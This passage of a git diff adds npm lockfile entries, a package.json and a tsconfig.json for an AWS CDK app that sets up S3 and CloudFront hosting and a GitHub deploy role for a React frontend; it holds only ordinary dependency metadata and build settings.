"sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/trace-mapping": "0.3.9" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.9", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz", + "integrity": "sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.0.3", + "@jridgewell/sourcemap-codec": "^1.4.10" + } + }, + "node_modules/@tsconfig/node10": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.12.tgz", + "integrity": "sha512-UCYBaeFvM11aU2y3YPZ//O5Rhj+xKyzy7mvcIoAjASbigy8mHMryP5cK7dgjlz2hWxh1g5pLw084E0a/wlUSFQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@tsconfig/node12": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/@tsconfig/node12/-/node12-1.0.11.tgz", + "integrity": "sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==", + "dev": true, + "license": "MIT" + }, + "node_modules/@tsconfig/node14": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@tsconfig/node14/-/node14-1.0.3.tgz", + "integrity": "sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==", + "dev": true, + "license": "MIT" + }, + "node_modules/@tsconfig/node16": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@tsconfig/node16/-/node16-1.0.4.tgz", + "integrity": "sha512-vxhUy4J8lyeyinH7Azl1pdd43GJhZH/tP2weN8TntQblOY+A0XbT8DJk1/oCPuOOyg/Ja757rG0CgHcWC8OfMA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "24.13.3", + "resolved": "https://registry.npmjs.org/@types/node/-/node-24.13.3.tgz", + "integrity": "sha512-Dh8vAsV36ig5wa9OX4pXvMc9D3Veibfw2wix0CUwYODLD8nkj9UsLjASr49nPg+2eKzxhBV+v7L8pXvT4e639Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "undici-types": "~7.18.0" + } + }, + "node_modules/acorn": { + "version": "8.17.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.17.0.tgz", + "integrity": "sha512-xRQbDb9BnwDafYNn6Vwl839DYVjqXYb1XVGtWAZ1kcDc6iwAL4hg3B1dZlRiuENFeO2H53gFG3in621AdERVAg==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-walk": { + "version": "8.3.5", + "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.5.tgz", + "integrity": "sha512-HEHNfbars9v4pgpW6SO1KSPkfoS0xVOM/9UzkJltjlsHZmJasxg8aXkuZa7SMf8vKGIBhpUsPluQSqhJFCqebw==", + "dev": true, + "license": "MIT", + "dependencies": { + "acorn": "^8.11.0" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/arg": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz", + "integrity": "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==", + "dev": true, + "license": "MIT" + }, + "node_modules/aws-cdk": { + "version": "2.1130.0", + "resolved": "https://registry.npmjs.org/aws-cdk/-/aws-cdk-2.1130.0.tgz", + "integrity": "sha512-LgSKHFTGhoT/lML48uiYIpdSHCwZLvUx/uZu5MqcZjh+OwWzM8nCxXY+OjKG3yASlx5JxeulXm4sRaUYo48qFQ==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "cdk": "bin/cdk" + }, + "engines": { + "node": ">= 18.0.0" + } + }, + "node_modules/aws-cdk-lib": { + "version": "2.261.0", + "resolved": "https://registry.npmjs.org/aws-cdk-lib/-/aws-cdk-lib-2.261.0.tgz", + "integrity": "sha512-e52e3Abjg0HkuRWlWwtSv5+ZiMW1rhCDdL9ff7lzWXInU8xdfLJpuoimfa0IJwjiNGyphppgg52Azx9M80OA0g==", + "bundleDependencies": [ + "@balena/dockerignore", + "@aws-cdk/cloud-assembly-api", + "case", + "fs-extra", + "ignore", + "jsonschema", + "minimatch", + "punycode", + "semver", + "yaml", + "mime-types" + ], + "license": "Apache-2.0", + "dependencies": { + "@aws-cdk/asset-awscli-v1": "2.2.282", + "@aws-cdk/asset-node-proxy-agent-v6": "^2.1.2", + "@aws-cdk/cloud-assembly-api": "^2.2.5", + "@aws-cdk/cloud-assembly-schema": "^54.0.0", + "@balena/dockerignore": "^1.0.2", + "case": "1.6.3", + "fs-extra": "^11.3.5", + "ignore": "^5.3.2", + "jsonschema": "^1.5.0", + "mime-types": "^2.1.35", + "minimatch": "^10.2.5", + "punycode": "^2.3.1", + "semver": "^7.8.1", + "yaml": "1.10.3" + }, + "engines": { + "node": ">= 20.0.0" + }, + "peerDependencies": { + "constructs": "^10.5.0" + } + }, + "node_modules/aws-cdk-lib/node_modules/@aws-cdk/cloud-assembly-api": { + "version": "2.2.5", + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "jsonschema": "^1.5.0", + "semver": "^7.8.0" + }, + "engines": { + "node": ">= 18.0.0" + }, + "peerDependencies": { + "@aws-cdk/cloud-assembly-schema": ">=53.28.0" + } + }, + "node_modules/aws-cdk-lib/node_modules/@balena/dockerignore": { + "version": "1.0.2", + "inBundle": true, + "license": "Apache-2.0" + }, + "node_modules/aws-cdk-lib/node_modules/balanced-match": { + "version": "4.0.4", + "inBundle": true, + "license": "MIT", + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/aws-cdk-lib/node_modules/brace-expansion": { + "version": "5.0.6", + "inBundle": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^4.0.2" + }, + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/aws-cdk-lib/node_modules/case": { + "version": "1.6.3", + "inBundle": true, + "license": "(MIT OR GPL-3.0-or-later)", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/aws-cdk-lib/node_modules/fs-extra": { + "version": "11.3.5", + "inBundle": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/aws-cdk-lib/node_modules/graceful-fs": { + "version": "4.2.11", + "inBundle": true, + "license": "ISC" + }, + "node_modules/aws-cdk-lib/node_modules/ignore": { + "version": "5.3.2", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/aws-cdk-lib/node_modules/jsonfile": { + "version": "6.2.1", + "inBundle": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/aws-cdk-lib/node_modules/jsonschema": { + "version": "1.5.0", + "inBundle": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/aws-cdk-lib/node_modules/mime-db": { + "version": "1.52.0", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/aws-cdk-lib/node_modules/mime-types": { + "version": "2.1.35", + "inBundle": true, + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/aws-cdk-lib/node_modules/minimatch": { + "version": "10.2.5", + "inBundle": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "brace-expansion": "^5.0.5" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/aws-cdk-lib/node_modules/punycode": { + "version": "2.3.1", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/aws-cdk-lib/node_modules/semver": { + "version": "7.8.1", + "inBundle": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/aws-cdk-lib/node_modules/universalify": { + "version": "2.0.1", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/aws-cdk-lib/node_modules/yaml": { + "version": "1.10.3", + "inBundle": true, + "license": "ISC", + "engines": { + "node": ">= 6" + } + }, + "node_modules/constructs": { + "version": "10.6.0", + "resolved": "https://registry.npmjs.org/constructs/-/constructs-10.6.0.tgz", + "integrity": "sha512-TxHOnBO5zMo/G76ykzGF/wMpEHu257TbWiIxP9K0Yv/+t70UzgBQiTqjkAsWOPC6jW91DzJI0+ehQV6xDRNBuQ==", + "license": "Apache-2.0" + }, + "node_modules/create-require": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz", + "integrity": "sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/diff": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.4.tgz", + "integrity": "sha512-X07nttJQkwkfKfvTPG/KSnE2OMdcUCao6+eXF3wmnIQRn2aPAHH3VxDbDOdegkd6JbPsXqShpvEOHfAT+nCNwQ==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/make-error": { + "version": "1.3.6", + "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz", + "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==", + "dev": true, + "license": "ISC" + }, + "node_modules/ts-node": { + "version": "10.9.2", + "resolved": "https://registry.npmjs.org/ts-node/-/ts-node-10.9.2.tgz", + "integrity": "sha512-f0FFpIdcHgn8zcPSbf1dRevwt047YMnaiJM3u2w2RewrB+fob/zePZcrOyQoLMMO7aBIddLcQIEK5dYjkLnGrQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@cspotcode/source-map-support": "^0.8.0", + "@tsconfig/node10": "^1.0.7", + "@tsconfig/node12": "^1.0.7", + "@tsconfig/node14": "^1.0.0", + "@tsconfig/node16": "^1.0.2", + "acorn": "^8.4.1", + "acorn-walk": "^8.1.1", + "arg": "^4.1.0", + "create-require": "^1.1.0", + "diff": "^4.0.1", + "make-error": "^1.1.1", + "v8-compile-cache-lib": "^3.0.1", + "yn": "3.1.1" + }, + "bin": { + "ts-node": "dist/bin.js", + "ts-node-cwd": "dist/bin-cwd.js", + "ts-node-esm": "dist/bin-esm.js", + "ts-node-script": "dist/bin-script.js", + "ts-node-transpile-only": "dist/bin-transpile.js", + "ts-script": "dist/bin-script-deprecated.js" + }, + "peerDependencies": { + "@swc/core": ">=1.2.50", + "@swc/wasm": ">=1.2.50", + "@types/node": "*", + "typescript": ">=2.7" + }, + "peerDependenciesMeta": { + "@swc/core": { + "optional": true + }, + "@swc/wasm": { + "optional": true + } + } + }, + "node_modules/typescript": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-6.0.3.tgz", + "integrity": "sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/undici-types": { + "version": "7.18.2", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.18.2.tgz", + "integrity": "sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w==", + "dev": true, + "license": "MIT" + }, + "node_modules/v8-compile-cache-lib": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/v8-compile-cache-lib/-/v8-compile-cache-lib-3.0.1.tgz", + "integrity": "sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==", + "dev": true, + "license": "MIT" + }, + "node_modules/yn": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yn/-/yn-3.1.1.tgz", + "integrity": "sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + } + } +} diff --git a/infra/cdk/package.json b/infra/cdk/package.json new file mode 100644 index 00000000..b490e706 --- /dev/null +++ b/infra/cdk/package.json @@ -0,0 +1,29 @@ +{ + "name": "shoc-frontend-infra", + "version": "0.1.0", + "private": true, + "description": "CDK app provisioning S3 + CloudFront hosting and the GitHub OIDC deploy role for the Sea Haven SHOC frontend.", + "bin": { + "app": "bin/app.ts" + }, + "engines": { + "node": ">=22.22.1" + }, + "scripts": { + "build": "tsc", + "synth": "cdk synth", + "diff": "cdk diff", + "deploy": "cdk deploy" + }, + "devDependencies": { + "@types/node": "^24.13.3", + "aws-cdk": "^2.1130.0", + "ts-node": "^10.9.2", + "typescript": "~6.0.3" + }, + "dependencies": { + "aws-cdk-lib": "^2.261.0", + "constructs": "^10.4.2" + }, + "packageManager": "npm@11.16.0" +} diff --git a/infra/cdk/tsconfig.json b/infra/cdk/tsconfig.json new file mode 100644 index 00000000..37092ab0 --- /dev/null +++ b/infra/cdk/tsconfig.json @@ -0,0 +1,25 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "NodeNext", + "moduleResolution": "NodeNext", + "lib": ["ES2022"], + "declaration": true, + "strict": true, + "noImplicitAny": true, + "strictNullChecks": true, + "noImplicitThis": true, + "alwaysStrict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noImplicitReturns": true, + "noFallthroughCasesInSwitch": false, + "esModuleInterop": true, + "resolveJsonModule": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "types": ["node"] + }, + "include": ["bin/**/*.ts", "lib/**/*.ts"], + "exclude": ["node_modules", "cdk.out"] +} diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 00000000..c732e572 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,6880 @@ +{ + "name": "seahaven-new-app", + "version": "0.1.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "seahaven-new-app", + "version": "0.1.0", + "dependencies": { + "@emotion/react": "^11.14.0", + "@emotion/styled": "^11.14.1", + "@fontsource/dm-sans": "^5.2.8", + "@fontsource/jetbrains-mono": "^5.2.8", + "@fontsource/montserrat": "^5.2.8", + "@fullcalendar/daygrid": "^6.1.21", + "@fullcalendar/interaction": "^6.1.21", + "@fullcalendar/react": "^6.1.21", + "@fullcalendar/timegrid": "^6.1.21", + "@generouted/react-router": "^1.20.2", + "@hookform/resolvers": "^5.4.0", + "@mui/icons-material": "^9.2.0", + "@mui/material": "^9.2.0", + "@tanstack/react-query": "^5.101.2", + "@tanstack/react-query-devtools": "^5.101.2", + "@testing-library/dom": "^10.4.1", + "@testing-library/jest-dom": "^6.9.1", + "@testing-library/react": "^16.3.2", + "@testing-library/user-event": "^14.6.1", + "clsx": "^2.1.1", + "ky": "^2.0.2", + "lucide-react": "^1.24.0", + "react": "^19.2.7", + "react-dom": "^19.2.7", + "react-hook-form": "^7.81.0", + "react-icons": "^5.7.0", + "react-router": "^8.2.0", + "react-toastify": "^11.1.0", + "tailwind-merge": "^3.6.0", + "zod": "^4.4.3" + }, + "devDependencies": { + "@commitlint/cli": "^21.2.1", + "@commitlint/config-conventional": "^21.2.0", + "@eslint/js": "^10.0.1", + "@playwright/test": "^1.61.1", + "@tailwindcss/vite": "^4.3.2", + "@types/node": "^24.13.3", + "@types/react": "^19.2.17", + "@types/react-dom": "^19.2.3", + "@vitejs/plugin-react": "^6.0.3", + "@vitest/coverage-v8": "^4.1.10", + "eslint": "^10.7.0", + "eslint-config-prettier": "^10.1.8", + "eslint-plugin-react-hooks": "^7.1.1", + "eslint-plugin-react-refresh": "^0.5.3", + "globals": "^17.7.0", + "husky": "^9.1.7", + "jsdom": "^29.1.1", + "lint-staged": "^17.0.8", + "prettier": "^3.9.5", + "tailwindcss": "^4.3.2", + "typescript": "~6.0.3", + "typescript-eslint": "^8.63.0", + "vite": "^8.1.4", + "vitest": "^4.1.10" + }, + "engines": { + "node": ">=22.22.1" + } + }, + "node_modules/@adobe/css-tools": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.5.0.tgz", + "integrity": "sha512-6OzddxPio9UiWTCemp4N8cYLV2ZN1ncRnV1cVGtve7dhPOtRkleRyx32GQCYSwDYgaHU3USMm84tNsvKzRCa1Q==", + "license": "MIT" + }, + "node_modules/@asamuzakjp/css-color": { + "version": "5.1.11", + "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-5.1.11.tgz", + "integrity": "sha512-KVw6qIiCTUQhByfTd78h2yD1/00waTmm9uy/R7Ck/ctUyAPj+AEDLkQIdJW0T8+qGgj3j5bpNKK7Q3G+LedJWg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@asamuzakjp/generational-cache": "^1.0.1", + "@csstools/css-calc": "^3.2.0", + "@csstools/css-color-parser": "^4.1.0", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" + }, + "engines": { + "node": "^20.19.0 || ^22.12.0 || >=24.0.0" + } + }, + "node_modules/@asamuzakjp/dom-selector": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/@asamuzakjp/dom-selector/-/dom-selector-7.1.1.tgz", + "integrity": "sha512-67RZDnYRc8H/8MLDgQCDE//zoqVFwajkepHZgmXrbwybzXOEwOWGPYGmALYl9J2DOLfFPPs6kKCqmbzV895hTQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@asamuzakjp/generational-cache": "^1.0.1", + "@asamuzakjp/nwsapi": "^2.3.9", + "bidi-js": "^1.0.3", + "css-tree": "^3.2.1", + "is-potential-custom-element-name": "^1.0.1" + }, + "engines": { + "node": "^20.19.0 || ^22.12.0 || >=24.0.0" + } + }, + "node_modules/@asamuzakjp/generational-cache": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@asamuzakjp/generational-cache/-/generational-cache-1.0.1.tgz", + "integrity": "sha512-wajfB8KqzMCN2KGNFdLkReeHncd0AslUSrvHVvvYWuU8ghncRJoA50kT3zP9MVL0+9g4/67H+cdvBskj9THPzg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^20.19.0 || ^22.12.0 || >=24.0.0" + } + }, + "node_modules/@asamuzakjp/nwsapi": { + "version": "2.3.9", + "resolved": "https://registry.npmjs.org/@asamuzakjp/nwsapi/-/nwsapi-2.3.9.tgz", + "integrity": "sha512-n8GuYSrI9bF7FFZ/SjhwevlHc8xaVlb/7HmHelnc/PZXBD2ZR49NnN9sMMuDdEGPeeRQ5d0hqlSlEpgCX3Wl0Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/@babel/code-frame": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz", + "integrity": "sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==", + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.29.7", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.7.tgz", + "integrity": "sha512-locTkQyKvwIEgBzVrn8693ebc97F2U8ZHjbXwDXJ5Fn2TCpNwTlKcaKLkdHop5c/icOFE7qt7Q9JC5hnKNa6Gg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.7.tgz", + "integrity": "sha512-RgHBCvtjbOK2gXSNBNIkNoEc9qoVEtau3hj8gEqKQuL3HZAibKarWFEI3Lfm6EYKkLalOh8eSrj9b+ch9H/VBA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.7", + "@babel/generator": "^7.29.7", + "@babel/helper-compilation-targets": "^7.29.7", + "@babel/helper-module-transforms": "^7.29.7", + "@babel/helpers": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/template": "^7.29.7", + "@babel/traverse": "^7.29.7", + "@babel/types": "^7.29.7", + "@jridgewell/remapping": "^2.3.5", + "convert-source-map": "^2.0.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/core/node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@babel/core/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/generator": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.7.tgz", + "integrity": "sha512-DkXD5OJQaAQIdZ1bt3UZdEnHAn9Imd3IVBdX03UFe+ony9Ojw5pzr9YVKGDY1jt+Gcn/FnGkNf8r+Vj5NOJWtQ==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.7", + "@babel/types": "^7.29.7", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.29.7.tgz", + "integrity": "sha512-wem6WaBj4NaVYVdNhLPPVacES6ZJ+KBBfSkTMD3YZxbP3rm3Di85tJU5ljaUNhaOynt+Aj0xruhYuzQBt8n71g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.29.7", + "@babel/helper-validator-option": "^7.29.7", + "browserslist": "^4.24.0", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-globals": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.29.7.tgz", + "integrity": "sha512-3nQVUAtvkKH9zahfWgw96Jc/uFOmjACE1kQz82E2lqWmHBgjzbNlsC22nuQTfahmWeQtTq5nQ/4Nnd2A1wj4zA==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.29.7.tgz", + "integrity": "sha512-ejHwrQQYcm9xnTivShn2IDOlIzInN34AXskvq9QicvCtEzq1Vzclu/tKF8Jq1Cg8JG2GL6/EmjgsCT7lXepE3g==", + "license": "MIT", + "dependencies": { + "@babel/traverse": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.29.7.tgz", + "integrity": "sha512-UPUVSyXbOh627KiCIGQSgwWzGeBKLkaJ9PJEdrngIwMSzxLR4jS4+f1f1jb7VzBbg8nFLaYotvVPFCTqdrmTAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.29.7", + "@babel/helper-validator-identifier": "^7.29.7", + "@babel/traverse": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.29.7.tgz", + "integrity": "sha512-Pb5ijPrZ89GDH8223L4UP8i6QApWxs04RbPQJTeWDV0/keR2E36MeKnyr6LYmUUvqRRI+Iv87SuF1W6ErINzYw==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.29.7.tgz", + "integrity": "sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.29.7.tgz", + "integrity": "sha512-N9ZErrD+yW5geCDtBqnOoxmR8+tNKiGuxKlDpuJxfsqpa2dFcexaziGAE/qoHLiDDreVNMupxGmSoNlyvsA3gw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.7.tgz", + "integrity": "sha512-1k2lAGRMfHTcwuNYcCNUmaUffmQv8KWMfh2iJUUeRlwlwH4FdNG7mfPI10NPfLHJFThE4Tyr4mv7kTNZOiPuBg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/template": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.7.tgz", + "integrity": "sha512-hnORnjP/1P/zFEndoeX+n+t1RwWRJiJpM/jO7FW32Kn9r5+sJB2JWOdYo4L6k78j15eCwY3Gm/7364B1EMwtNg==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.7" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz", + "integrity": "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.29.7.tgz", + "integrity": "sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": 